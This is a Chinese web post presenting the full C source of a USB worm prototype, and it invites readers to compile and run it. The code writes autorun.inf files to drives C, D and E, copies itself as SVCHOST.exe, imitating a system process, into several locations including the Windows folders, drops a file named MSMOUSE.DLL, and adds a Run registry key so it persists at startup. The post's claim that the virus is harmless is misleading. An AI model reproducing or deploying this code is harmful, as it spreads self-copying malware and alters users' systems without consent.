U盤病毒雛形

本病毒的功能:
1.在C、D、E盤和c:\windows\system、c:\windows中生成本病毒體文件
2.在C、D、E盤中生成自動運行文件
3.註冊c:\windows\system\svchost.exe,使其開機自動運行
4.在C:\windows\system下生成隱蔽DLL文件
5.病毒在執行後具有相聯複製能力
本病毒類似普通U盤病毒雛形,具備自我複製、運行能力。
以下程序在DEV-CPP 4.9.9.2(GCC編譯器)下編譯通過
請保存爲SVCHOST.C編譯,運行,本病毒對計算機無危害,請放心研究

/* SVCHOST.C */
/* SVCHOST.EXE */
#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";
int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
copy(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 註冊SVCHOST.exe,讓其在啓動時運行 */
return 0;
}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章